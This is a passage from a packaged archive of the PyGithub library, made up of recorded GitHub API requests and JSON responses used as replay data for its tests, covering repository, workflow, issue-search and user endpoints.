https://avatars.githubusercontent.com/u/3709715?v=4","gravatar_id":"","url":"https://api.github.com/users/cclauss","html_url":"https://github.com/cclauss","followers_url":"https://api.github.com/users/cclauss/followers","following_url":"https://api.github.com/users/cclauss/following{/other_user}","gists_url":"https://api.github.com/users/cclauss/gists{/gist_id}","starred_url":"https://api.github.com/users/cclauss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cclauss/subscriptions","organizations_url":"https://api.github.com/users/cclauss/orgs","repos_url":"https://api.github.com/users/cclauss/repos","events_url":"https://api.github.com/users/cclauss/events{/privacy}","received_events_url":"https://api.github.com/users/cclauss/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3770390952/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3770390952/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/10039322119","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3770390952/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3770390952/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3770390952/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133","head_commit":{"id":"84e26cfaa0eede8179f34272f03afa28d76a07a7","tree_id":"a0a51aff2b432542f78e9484272ac779ecd8f219","message":"Merge branch 'master' into patch-1","timestamp":"2022-12-24T07:29:07Z","author":{"name":"Christian Clauss","email":"cclauss@me.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":30936332,"node_id":"MDEwOlJlcG9zaXRvcnkzMDkzNjMzMg==","name":"PyGithub","full_name":"cclauss/PyGithub","private":false,"owner":{"login":"cclauss","id":3709715,"node_id":"MDQ6VXNlcjM3MDk3MTU=","avatar_url":"https://avatars.githubusercontent.com/u/3709715?v=4","gravatar_id":"","url":"https://api.github.com/users/cclauss","html_url":"https://github.com/cclauss","followers_url":"https://api.github.com/users/cclauss/followers","following_url":"https://api.github.com/users/cclauss/following{/other_user}","gists_url":"https://api.github.com/users/cclauss/gists{/gist_id}","starred_url":"https://api.github.com/users/cclauss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cclauss/subscriptions","organizations_url":"https://api.github.com/users/cclauss/orgs","repos_url":"https://api.github.com/users/cclauss/repos","events_url":"https://api.github.com/users/cclauss/events{/privacy}","received_events_url":"https://api.github.com/users/cclauss/received_events","type":"User","site_admin":false},"html_url":"https://github.com/cclauss/PyGithub","description":"Python library implementing the full GitHub API v3","fork":true,"url":"https://api.github.com/repos/cclauss/PyGithub","forks_url":"https://api.github.com/repos/cclauss/PyGithub/forks","keys_url":"https://api.github.com/repos/cclauss/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cclauss/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cclauss/PyGithub/teams","hooks_url":"https://api.github.com/repos/cclauss/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/cclauss/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/cclauss/PyGithub/events","assignees_url":"https://api.github.com/repos/cclauss/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/cclauss/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/cclauss/PyGithub/tags","blobs_url":"https://api.github.com/repos/cclauss/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cclauss/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cclauss/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/cclauss/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cclauss/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/cclauss/PyGithub/languages","stargazers_url":"https://api.github.com/repos/cclauss/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/cclauss/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/cclauss/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/cclauss/PyGithub/subscription","commits_url":"https://api.github.com/repos/cclauss/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/cclauss/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/cclauss/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/cclauss/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/cclauss/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/cclauss/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cclauss/PyGithub/merges","archive_url":"https://api.github.com/repos/cclauss/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cclauss/PyGithub/downloads","issues_url":"https://api.github.com/repos/cclauss/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/cclauss/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/cclauss/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/cclauss/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/cclauss/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/cclauss/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/cclauss/PyGithub/deployments"}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetWorkflows.txt0000644000175100001660000002442614756101563024442 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 30 Apr 2020 14:23:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1588260036'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ca5e583e90533cae1b4d5dbe1e06ce8e"'), ('Last-Modified', 'Thu, 30 Apr 2020 11:35:51 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EA20:2BF3:3A538:437A1:5EAADF62')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-04-30T11:35:51Z","pushed_at":"2020-04-29T03:27:15Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12694,"stargazers_count":3394,"watchers_count":3394,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1099,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":45,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1099,"open_issues":45,"watchers":3394,"default_branch":"master","permissions":{"admin":false,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":true,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1099,"subscribers_count":98} https GET api.github.com None /repos/PyGithub/PyGithub/actions/workflows {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 30 Apr 2020 14:23:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1588260036'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fc1eaa3814dd3ef6fdb3da89e056c63b"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EA22:67AD:694D5:7A1D2:5EAADF63')] {"total_count":2,"workflows":[{"id":1026390,"node_id":"MDg6V29ya2Zsb3cxMDI2Mzkw","name":"check","path":".github/workflows/check.yml","state":"active","created_at":"2020-04-15T10:48:32.000+10:00","updated_at":"2020-04-15T10:48:32.000+10:00","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","html_url":"https://github.com/PyGithub/PyGithub/blob/master/.github/workflows/check.yml","badge_url":"https://github.com/PyGithub/PyGithub/workflows/check/badge.svg"},{"id":1122712,"node_id":"MDg6V29ya2Zsb3cxMTIyNzEy","name":"Publish to PyPI","path":".github/workflows/python-publish.yml","state":"active","created_at":"2020-04-26T18:51:02.000+10:00","updated_at":"2020-04-26T18:51:02.000+10:00","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1122712","html_url":"https://github.com/PyGithub/PyGithub/blob/master/.github/workflows/python-publish.yml","badge_url":"https://github.com/PyGithub/PyGithub/workflows/Publish%20to%20PyPI/badge.svg"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testLegacySearchIssues.txt0000644000175100001660000000262614756101563025531 0ustar00runnerdockerhttps GET api.github.com None /legacy/issues/search/PyGithub/PyGithub/open/search {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '875'), ('x-ratelimit-remaining', '4990'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1178425a2730e43d21323c7e130c863c"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Fri, 29 Jun 2012 11:38:23 GMT'), ('content-type', 'application/json; charset=utf-8')] {"issues":[{"number":49,"gravatar_id":"9be6ba907be1740213b69422fdf52b57","updated_at":"2012-06-28T14:13:25-07:00","user":"kukuts","votes":0,"html_url":"https://github.com/PyGithub/PyGithub/issues/49","position":1.0,"comments":4,"title":"Support new Search API","labels":["Functionalities","RequestedByUser"],"created_at":"2012-06-21T05:27:38-07:00","state":"open","body":"New API ported from v2 but i have trouble with adopting ask's library for v2 API to support v3 style for searching. \nhttp://developer.github.com/v3/search/\n\nIts not described in the page about parameters that search for repos API supports.\nThey are same as in v2 API, you can look them in ask's library.\nIn v2 was like that https://github.com/api/v2/json/repos/search/testing?start_page=2&language=Python\nIn v3 is https://api.github.com/legacy/repos/search/testing?start_page=2&language=Python"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testMarkNotificationsAsRead.txt0000644000175100001660000005046014756101563026506 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 18 Oct 2018 18:19:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1539890344'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"4c0d57696297d443d17a214011b1cc0b"'), ('Last-Modified', 'Mon, 08 Oct 2018 14:54:47 GMT'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B188:4C25:2AA2DF3:58852FF:5BC8CEC0')] {"login":"zer0tonin","id":7149690,"node_id":"MDQ6VXNlcjcxNDk2OTA=","avatar_url":"https://avatars3.githubusercontent.com/u/7149690?v=4","gravatar_id":"","url":"https://api.github.com/users/zer0tonin","html_url":"https://github.com/zer0tonin","followers_url":"https://api.github.com/users/zer0tonin/followers","following_url":"https://api.github.com/users/zer0tonin/following{/other_user}","gists_url":"https://api.github.com/users/zer0tonin/gists{/gist_id}","starred_url":"https://api.github.com/users/zer0tonin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zer0tonin/subscriptions","organizations_url":"https://api.github.com/users/zer0tonin/orgs","repos_url":"https://api.github.com/users/zer0tonin/repos","events_url":"https://api.github.com/users/zer0tonin/events{/privacy}","received_events_url":"https://api.github.com/users/zer0tonin/received_events","type":"User","site_admin":false,"name":"Alice GIRARD","company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"public_repos":20,"public_gists":12,"followers":2,"following":2,"created_at":"2014-04-03T11:51:25Z","updated_at":"2018-10-08T14:54:47Z","private_gists":1,"total_private_repos":0,"owned_private_repos":0,"disk_usage":71917,"collaborators":0,"two_factor_authentication":true,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":0}} https GET api.github.com None /repos/zer0tonin/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 18 Oct 2018 18:19:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1539890344'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"4a950e02588f33f0012cc792923cb1d1"'), ('Last-Modified', 'Mon, 15 Oct 2018 16:50:55 GMT'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B18A:4C23:14C9D54:32A299E:5BC8CEC1')] {"id":153149352,"node_id":"MDEwOlJlcG9zaXRvcnkxNTMxNDkzNTI=","name":"PyGithub","full_name":"zer0tonin/PyGithub","private":false,"owner":{"login":"zer0tonin","id":7149690,"node_id":"MDQ6VXNlcjcxNDk2OTA=","avatar_url":"https://avatars3.githubusercontent.com/u/7149690?v=4","gravatar_id":"","url":"https://api.github.com/users/zer0tonin","html_url":"https://github.com/zer0tonin","followers_url":"https://api.github.com/users/zer0tonin/followers","following_url":"https://api.github.com/users/zer0tonin/following{/other_user}","gists_url":"https://api.github.com/users/zer0tonin/gists{/gist_id}","starred_url":"https://api.github.com/users/zer0tonin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zer0tonin/subscriptions","organizations_url":"https://api.github.com/users/zer0tonin/orgs","repos_url":"https://api.github.com/users/zer0tonin/repos","events_url":"https://api.github.com/users/zer0tonin/events{/privacy}","received_events_url":"https://api.github.com/users/zer0tonin/received_events","type":"User","site_admin":false},"html_url":"https://github.com/zer0tonin/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/zer0tonin/PyGithub","forks_url":"https://api.github.com/repos/zer0tonin/PyGithub/forks","keys_url":"https://api.github.com/repos/zer0tonin/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/zer0tonin/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/zer0tonin/PyGithub/teams","hooks_url":"https://api.github.com/repos/zer0tonin/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/zer0tonin/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/zer0tonin/PyGithub/events","assignees_url":"https://api.github.com/repos/zer0tonin/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/zer0tonin/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/zer0tonin/PyGithub/tags","blobs_url":"https://api.github.com/repos/zer0tonin/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/zer0tonin/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/zer0tonin/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/zer0tonin/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/zer0tonin/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/zer0tonin/PyGithub/languages","stargazers_url":"https://api.github.com/repos/zer0tonin/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/zer0tonin/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/zer0tonin/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/zer0tonin/PyGithub/subscription","commits_url":"https://api.github.com/repos/zer0tonin/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/zer0tonin/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/zer0tonin/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/zer0tonin/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/zer0tonin/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/zer0tonin/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/zer0tonin/PyGithub/merges","archive_url":"https://api.github.com/repos/zer0tonin/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/zer0tonin/PyGithub/downloads","issues_url":"https://api.github.com/repos/zer0tonin/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/zer0tonin/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/zer0tonin/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/zer0tonin/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/zer0tonin/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/zer0tonin/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/zer0tonin/PyGithub/deployments","created_at":"2018-10-15T16:50:51Z","updated_at":"2018-10-15T16:50:55Z","pushed_at":"2018-10-18T18:05:03Z","git_url":"git://github.com/zer0tonin/PyGithub.git","ssh_url":"git@github.com:zer0tonin/PyGithub.git","clone_url":"https://github.com/zer0tonin/Py